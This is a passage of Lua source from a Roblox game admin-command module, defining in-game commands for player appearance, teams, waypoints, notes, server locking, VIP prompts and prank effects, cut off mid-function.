7829 | Color = "Green" | |
7830 | String = ChatSplit[2] | |
7831 | elseif string.lower(ChatSplit[1]) == "red" then | |
7832 | Color = "Red" | |
7833 | String = ChatSplit[2] | |
7834 | end | |
7835 | end | |
7836 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7837 | for _,Player in pairs(Players) do | |
7838 | if Player.Character and Player.Character:FindFirstChild("Head") then | |
7839 | game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color) | |
7840 | end | |
7841 | end | |
7842 | end}; | |
7843 | ||
7844 | [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments) | |
7845 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7846 | for _,Player in pairs(Players) do | |
7847 | if Player.Character then | |
7848 | CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()}) | |
7849 | end | |
7850 | end | |
7851 | end}; | |
7852 | ||
7853 | [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments) | |
7854 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7855 | local ID = nil | |
7856 | if tonumber(Arguments[2]) ~= nil then | |
7857 | ID = MARKET:GetImageFormat(tonumber(Arguments[2])) | |
7858 | else | |
7859 | for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do | |
7860 | for _,Face in pairs(FaceTable) do | |
7861 | if string.lower(Arguments[2]) == string.lower(Face) then | |
7862 | ID = FaceID | |
7863 | break | |
7864 | end | |
7865 | end | |
7866 | end | |
7867 | end | |
7868 | if ID then | |
7869 | for _,Player in pairs(Players) do | |
7870 | if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then | |
7871 | Player.Character.Head.face.Texture = "rbxassetid://"..ID | |
7872 | pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end) | |
7873 | end | |
7874 | end | |
7875 | end | |
7876 | end}; | |
7877 | ||
7878 | [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) | |
7879 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7880 | local ID = MARKET:GetImageFormat(tonumber(Arguments[2])) | |
7881 | for _,Player in pairs(Players) do | |
7882 | if Player.Character and Player.Character:FindFirstChild("Head") then | |
7883 | local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end | |
7884 | BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head | |
7885 | local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0) | |
7886 | end | |
7887 | end | |
7888 | end}; | |
7889 | ||
7890 | [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7891 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7892 | for _,Player in pairs(Players) do | |
7893 | if Player.Character and Player.Character:FindFirstChild("Head") then | |
7894 | local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end | |
7895 | end | |
7896 | end | |
7897 | end}; | |
7898 | ||
7899 | [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
7900 | REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker) | |
7901 | end, Http = true}; | |
7902 | ||
7903 | [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
7904 | GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log") | |
7905 | end, Http = true}; | |
7906 | ||
7907 | [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments) | |
7908 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7909 | for _,Player in pairs(Players) do | |
7910 | local ExistingData = Player:LoadInstance("Data") | |
7911 | if ExistingData == nil then | |
7912 | ExistingData = Instance.new("Configuration") | |
7913 | end | |
7914 | ExistingData.Name = "Player Data" | |
7915 | local Key = Instance.new("Configuration", ExistingData) | |
7916 | Key.Name = Arguments[2] | |
7917 | Player:SaveInstance("Data", ExistingData) | |
7918 | end | |
7919 | end}; | |
7920 | ||
7921 | [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments) | |
7922 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7923 | local Data = Arguments[2] | |
7924 | for _,Player in pairs(Players) do | |
7925 | local ExistingData = Player:LoadInstance("Data") | |
7926 | if ExistingData ~= nil then | |
7927 | if string.lower(Data) == "all" then | |
7928 | ExistingData:ClearAllChildren() | |
7929 | else | |
7930 | for _,DataObj in pairs(ExistingData:GetChildren()) do | |
7931 | if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then | |
7932 | DataObj:Destroy() | |
7933 | end | |
7934 | end | |
7935 | end | |
7936 | end | |
7937 | Player:SaveInstance("Data", ExistingData) | |
7938 | end | |
7939 | end}; | |
7940 | ||
7941 | [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7942 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7943 | local DataSet = {} | |
7944 | for _,Player in pairs(Players) do | |
7945 | local ExistingData = Player:LoadInstance("Data") | |
7946 | if ExistingData ~= nil then | |
7947 | if #ExistingData:GetChildren() ~= 0 then | |
7948 | for _,Data in pairs(ExistingData:GetChildren()) do | |
7949 | table.insert(DataSet, Player.Name..": "..Data.Name) | |
7950 | end | |
7951 | else | |
7952 | table.insert(DataSet, "Data does not exist for "..Player.Name) | |
7953 | end | |
7954 | else | |
7955 | table.insert(DataSet, "Data does not exist for "..Player.Name) | |
7956 | end | |
7957 | end | |
7958 | GUI:ListGui(Speaker, "Notes", DataSet) | |
7959 | end}; | |
7960 | ||
7961 | [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7962 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7963 | for _,Player in pairs(Players) do | |
7964 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
7965 | Player.Character.Humanoid.WalkSpeed = 16 | |
7966 | end | |
7967 | end | |
7968 | end}; | |
7969 | ||
7970 | [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments) | |
7971 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7972 | for _,Player in pairs(Players) do | |
7973 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
7974 | Player.Character.Humanoid.WalkSpeed = -16 | |
7975 | end | |
7976 | end | |
7977 | end}; | |
7978 | ||
7979 | [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7980 | local TeamColor = BrickColor.random() | |
7981 | local TeamName = Arguments[1] | |
7982 | local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ") | |
7983 | if #TeamNameSplit >= 2 then | |
7984 | local Color = TeamNameSplit[1] | |
7985 | local NewTeamName = TeamNameSplit[2] | |
7986 | if Color == "Medium stone grey" then | |
7987 | TeamColor = BrickColor.new(Color) | |
7988 | TeamName = NewTeamName | |
7989 | elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then | |
7990 | TeamColor = BrickColor.new(Color) | |
7991 | TeamName = NewTeamName | |
7992 | elseif Colors[string.upper(Color)] then | |
7993 | TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color))) | |
7994 | TeamName = NewTeamName | |
7995 | end | |
7996 | end | |
7997 | ||
7998 | local NewTeam = Instance.new("Team", Server.Teams) | |
7999 | NewTeam.TeamColor = TeamColor | |
8000 | NewTeam.Name = TeamName | |
8001 | end}; | |
8002 | ||
8003 | [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8004 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8005 | for _,Player in pairs(Players) do | |
8006 | Player.Neutral = true | |
8007 | end | |
8008 | end}; | |
8009 | ||
8010 | [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments) | |
8011 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8012 | if string.lower(Arguments[2]) == "none" then | |
8013 | for _,Player in pairs(Players) do | |
8014 | Player.Neutral = true | |
8015 | end | |
8016 | else | |
8017 | for _,Obj in pairs(Server.Teams:GetChildren()) do | |
8018 | if Obj:IsA("Team") then | |
8019 | if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then | |
8020 | for _,Player in pairs(Players) do | |
8021 | Player.Neutral = false | |
8022 | Player.TeamColor = Obj.TeamColor | |
8023 | end | |
8024 | end | |
8025 | end | |
8026 | end | |
8027 | end | |
8028 | end}; | |
8029 | ||
8030 | [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8031 | for _,Obj in pairs(Server.Teams:GetChildren()) do | |
8032 | if Obj:IsA("Team") then | |
8033 | if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then | |
8034 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
8035 | if Player.TeamColor == Obj.TeamColor then | |
8036 | Player.Neutral = true | |
8037 | end | |
8038 | end | |
8039 | Obj:Destroy() | |
8040 | end | |
8041 | end | |
8042 | end | |
8043 | end}; | |
8044 | ||
8045 | [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments) | |
8046 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
8047 | Player.Neutral = true | |
8048 | end | |
8049 | for _,Obj in pairs(Server.Teams:GetChildren()) do | |
8050 | if Obj:IsA("Team") then | |
8051 | Obj:Destroy() | |
8052 | end | |
8053 | end | |
8054 | end}; | |
8055 | ||
8056 | [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8057 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
8058 | GUI:Countdown(Player, Arguments[1]) | |
8059 | end | |
8060 | end}; | |
8061 | ||
8062 | [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
8063 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8064 | for _,Player in pairs(Players) do | |
8065 | if Player:FindFirstChild("Backpack") then | |
8066 | CORE:ExecuteResource("ShowAd", Player.Backpack) | |
8067 | end | |
8068 | end | |
8069 | end}; | |
8070 | ||
8071 | [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments) | |
8072 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8073 | for _,Player in pairs(Players) do | |
8074 | if Player.Character then | |
8075 | for PosName,WP in pairs(Waypoints) do | |
8076 | if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then | |
8077 | Player.Character:MoveTo(WP + Vector3.new(0,0.5,0)) | |
8078 | break | |
8079 | end | |
8080 | end | |
8081 | end | |
8082 | end | |
8083 | end}; | |
8084 | ||
8085 | [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments) | |
8086 | CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker) | |
8087 | end}; | |
8088 | ||
8089 | [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8090 | local Num = 0 | |
8091 | for PosName,WP in pairs(Waypoints) do | |
8092 | Num = Num + 1 | |
8093 | if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then | |
8094 | Waypoints[PosName] = nil | |
8095 | end | |
8096 | end | |
8097 | end}; | |
8098 | ||
8099 | [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments) | |
8100 | local WaypointHolder,WaypointRaw = {},{} | |
8101 | for Name, WP in pairs(Waypoints) do | |
8102 | local View = Name..": "..tostring(WP) | |
8103 | table.insert(WaypointHolder, View) | |
8104 | WaypointRaw[View] = WP | |
8105 | end | |
8106 | local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map") | |
8107 | Clicked.Event:connect(function(Text) | |
8108 | local Waypoint = WaypointRaw[Text] | |
8109 | if Waypoint then | |
8110 | if Speaker.Character then | |
8111 | Speaker.Character:MoveTo(Waypoint) | |
8112 | end | |
8113 | end | |
8114 | end) | |
8115 | end}; | |
8116 | ||
8117 | [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8118 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8119 | local List = {} | |
8120 | for _,Player in pairs(Players) do | |
8121 | table.insert(List, Player.Name.." (ID: "..Player.UserId..")") | |
8122 | end | |
8123 | GUI:ListGui(Speaker, "Listed Players", List) | |
8124 | end}; | |
8125 | ||
8126 | [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments) | |
8127 | if tonumber(Arguments[1]) then | |
8128 | ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end) | |
8129 | else | |
8130 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8131 | for _,Player in pairs(Players) do | |
8132 | ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end) | |
8133 | end | |
8134 | end | |
8135 | end}; | |
8136 | ||
8137 | [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8138 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8139 | local Friends,OneFriend = {}, false | |
8140 | for _,Player in pairs(Players) do | |
8141 | for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then | |
8142 | --[[if Player:IsBestFriendsWith(User.UserId) then | |
8143 | table.insert(Friends, Player.Name.." is best friends with "..User.Name) | |
8144 | OneFriend = true | |
8145 | ]] | |
8146 | if Player:IsFriendsWith(User.UserId) then | |
8147 | table.insert(Friends, Player.Name.." is friends with "..User.Name) | |
8148 | OneFriend = true | |
8149 | end | |
8150 | if _ == #Server.Players:GetPlayers() and OneFriend == false then | |
8151 | table.insert(Friends, Player.Name.." has no friends in this server (Loner)") | |
8152 | end | |
8153 | end end | |
8154 | end | |
8155 | GUI:ListGui(Speaker, "Friend List", Friends) | |
8156 | end}; | |
8157 | ||
8158 | [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
8159 | Settings.ServerLocked = true | |
8160 | GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock") | |
8161 | end}; | |
8162 | ||
8163 | [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
8164 | Settings.ServerLocked = false | |
8165 | GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402) | |
8166 | end}; | |
8167 | ||
8168 | [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
8169 | local OldAge = Settings.MinimumAge | |
8170 | local Age = tostring(Arguments[1]) | |
8171 | if Age then | |
8172 | Settings.MinimumAge = Age | |
8173 | GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10) | |
8174 | end | |
8175 | end}; | |
8176 | ||
8177 | [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments) | |
8178 | if Settings.VIPAdminID <= 1 then | |
8179 | MARKET:PromptPurchase(Speaker, VIPAdminID) | |
8180 | else | |
8181 | CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7) | |
8182 | end | |
8183 | end}; | |
8184 | ||
8185 | [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments) | |
8186 | if Settings.VIPMemberID <= 1 then | |
8187 | MARKET:PromptPurchase(Speaker, VIPMemberID) | |
8188 | else | |
8189 | CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7) | |
8190 | end | |
8191 | end}; | |
8192 | ||
8193 | [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments) | |
8194 | if tonumber(Arguments[2]) then | |
8195 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8196 | local Size = tonumber(Arguments[2])+25 | |
8197 | for _,Player in pairs(Players) do | |
8198 | if Player.Character then | |
8199 | if Player.Character:FindFirstChild("Head") then | |
8200 | if Player.Character.Head:FindFirstChild("Mesh") then | |
8201 | Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100) | |
8202 | end | |
8203 | end | |
8204 | end | |
8205 | end | |
8206 | end | |
8207 | end}; | |
8208 | ||
8209 | [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8210 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8211 | for _,Player in pairs(Players) do | |
8212 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
8213 | CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position) | |
8214 | Player.Character.Parent = nil | |
8215 | CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker}) | |
8216 | end | |
8217 | end | |
8218 | end}; | |
8219 | ||
8220 | [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments) | |
8221 | GUI:SettingsGui(Speaker) | |
8222 | end}; | |
8223 | ||
8224 | [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) | |
8225 | if tonumber(Arguments[2]) then | |
8226 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8227 | local List = {} | |
8228 | for _,Player in pairs(Players) do | |
8229 | if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then | |
8230 | table.insert(List, Player.Name) | |
8231 | end | |
8232 | end | |
8233 | GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171) | |
8234 | end | |
8235 | end}; | |
8236 | ||
8237 | [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments) | |
8238 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8239 | for _,Player in pairs(Players) do | |
8240 | if Player.Character and Player.Character:FindFirstChild("Head") then | |
8241 | local Char = Player.Character | |
8242 | Char:BreakJoints() | |
8243 | CORE:ScanItems(Char, {"BasePart"}, function(Obj) | |
8244 | Obj.Anchored = true | |
8245 | for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do | |
8246 | local Decal = Instance.new("Decal", Obj) | |
8247 | Decal.Texture = "rbxassetid://178913323" | |
8248 | Decal.Face = Face | |
8249 | end | |
8250 | end) | |
8251 | local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1) | |
8252 | local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1) | |
8253 | Sound1:Play() Sound2:Play() | |
8254 | coroutine.wrap(function() | |
8255 | coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)() | |
8256 | repeat wait() | |
8257 | CORE:ScanItems(Char, {"BasePart"}, function(Obj) | |
8258 | SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play() | |
8259 | Obj.Transparency = math.random(0,30)/100 | |
8260 | Obj.Reflectance = math.random(0,50)/100 | |
8261 | Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))) | |
8262 | end) | |
8263 | until Char ~= Player.Character or Char.Parent == nil | |
8264 | end)() | |
8265 | end | |
8266 | end | |
8267 | end, Hidden = true}; | |
8268 | ||
8269 | [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8270 | GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691) | |
8271 | end, Http = true}; | |
8272 | ||
8273 | [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8274 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8275 | for _,Player in pairs(Players) do | |
8276 | if Player.Character then | |
8277 | CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) | |
8278 | Obj.Material = "Neon" | |
8279 | end) | |
8280 | end | |
8281 | end | |
8282 | end}; | |
8283 | ||
8284 | [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8285 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8286 | for _,Player in pairs(Players) do | |
8287 | if Player.Character then | |
8288 | CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) | |
8289 | Obj.Material = "Plastic" | |
8290 | end) | |
8291 | end | |
8292 | end | |
8293 | end}; | |
8294 | ||
8295 | [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments) | |
8296 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8297 | for _,Player in pairs(Players) do | |
8298 | if Player.Character then | |
8299 | CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj) | |
8300 | Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5)) | |
8301 | end) | |
8302 | end | |
8303 | end | |
8304 | end, Hidden = true}; | |
8305 | ||
8306 | [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
8307 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8308 | for _,Player in pairs(Players) do | |
8309 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
8310 | local Pos = Player.Character.Torso.Position | |
8311 | Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z)) | |
8312 | local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"}) | |
8313 | if Answer == "Ok" then | |
8314 | CORE:AddWaypoint(Player.Name, Pos, Speaker) | |
8315 | end | |
8316 | end | |
8317 | end | |
8318 | end}; | |
8319 | ||
8320 | [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments) | |
8321 | local PlayersFrom = STRING:Scan(Arguments[1], Speaker) | |
8322 | local PlayersTo = STRING:Scan(Arguments[2], Speaker) | |
8323 | if PlayersFrom and PlayersTo then | |
8324 | for _,PlayerFrom in pairs(PlayersFrom) do | |
8325 | for _,PlayerTo in pairs(PlayersTo) do | |
8326 | if PlayerFrom.Character and PlayerTo.Character then | |
8327 | if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function() | |
8328 | local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name) | |
8329 | wait(5) | |
8330 | Laser:Destroy() | |
8331 | end)() end | |
8332 | end | |
8333 | end | |
8334 | end | |
8335 | end | |
8336 | end}; | |
8337 | ||
8338 | [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8339 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8340 | for _,Player in pairs(Players) do | |
8341 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
8342 | Player.Character.Humanoid:Destroy() | |
8343 | end | |
8344 | end | |
8345 | end}; | |
8346 | ||
8347 | [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
8348 | if Plugins then | |
8349 | local List = {} | |
8350 | for _,Module in pairs(Plugins:GetChildren()) do | |
8351 | if Module:IsA("ModuleScript") then | |
8352 | local Enabled = Module:FindFirstChild("Enabled") or {Value = false} | |
8353 | local Creator = Module:FindFirstChild("Creator") or {Value = "None"} | |
8354 | local VersionVal = Module:FindFirstChild("Version") or {Value = 1} | |
8355 | table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value)) | |
8356 | end | |
8357 | end | |
8358 | GUI:ListGui(Speaker, "Plugin List", List, "Plugin") | |
8359 | else | |
8360 | GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5) | |
8361 | end | |
8362 | end}; | |
8363 | ||
8364 | [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
8365 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8366 | for _,Player in pairs(Players) do | |
8367 | GUI:DetachChat(Player) | |
8368 | end | |
8369 | end}; | |
8370 | ||
8371 | [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments) | |
8372 | GUI:DetachChat(Speaker) | |
8373 | end}; | |
8374 | ||
8375 | [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments) | |
8376 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8377 | for _,Player in pairs(Players) do | |
8378 | if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then | |
8379 | local Dead = false | |
8380 | ||
8381 | Player.Character.Humanoid.WalkSpeed = 1 | |
8382 | local Torso = Player.Character.Torso | |
8383 | local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p | |
8384 | Truck:BreakJoints() | |
8385 | local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11) | |
8386 | local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)) | |
8387 | local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100 | |
8388 | Truck.Touched:connect(function(Part) | |
8389 | if Dead == false then | |
